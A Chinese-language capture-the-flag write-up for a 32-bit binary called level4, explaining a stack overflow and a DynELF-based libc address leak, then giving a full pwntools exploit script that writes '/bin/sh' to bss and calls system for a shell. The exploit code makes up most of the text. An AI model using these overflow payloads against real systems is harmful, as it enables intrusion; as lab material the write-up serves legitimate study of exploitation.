# 1. 分析程序


32 位程序没有开启 NX 和 pie

ida 查看一下

发现 vuln 函数可以进行溢出,但是没有发现后门函数,所以我们利用 ret2libc

呃。。。

利用 ret2libc 没有打通,换个方式利用 DynELF

# 2. 利用 DynELF

构造 leak 函数

n
def leak(add): #add 为想泄露的函数地址
    payload=b"a"*140+p32(write_plt)+p32(vuln)+p32(1)+p32(add)+p32(0x100)
    p.sendline(payload)
    fun_add=p.recv()
    return fun_add

实例化 DynELF

n
d=DynELF(leak,elf=e)

获取 systemread 地址 (因为程序里没有 /bin/sh 需要我们自己写入)

n
system=d.lookup("system","libc")
read=d.lookup('read','libc')

# 3.exp:

n
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p=process("./level4")
#p=remote("node4.buuoj.cn",28089)
e=ELF("./level4")
write_got=e.got["write"]
write_plt=e.plt["write"]
read_got=e.got["read"]
bbs=0x804A024
vuln=0x804844B
def leak(add):
    payload=b"a"*140+p32(write_plt)+p32(vuln)+p32(1)+p32(add)+p32(0x100)
    p.sendline(payload)
    fun_add=p.recv()
    return fun_add
d=DynELF(leak,elf=e)
system=d.lookup("system","libc")
read=d.lookup('read','libc')
payload1=b"a"*140+p32(read)+p32(system)+p32(0)+p32(bbs)+p32(0x100)
p.sendline(payload1)
p.sendline("/bin/sh")
p.interactive()

打通本地

打远程靶机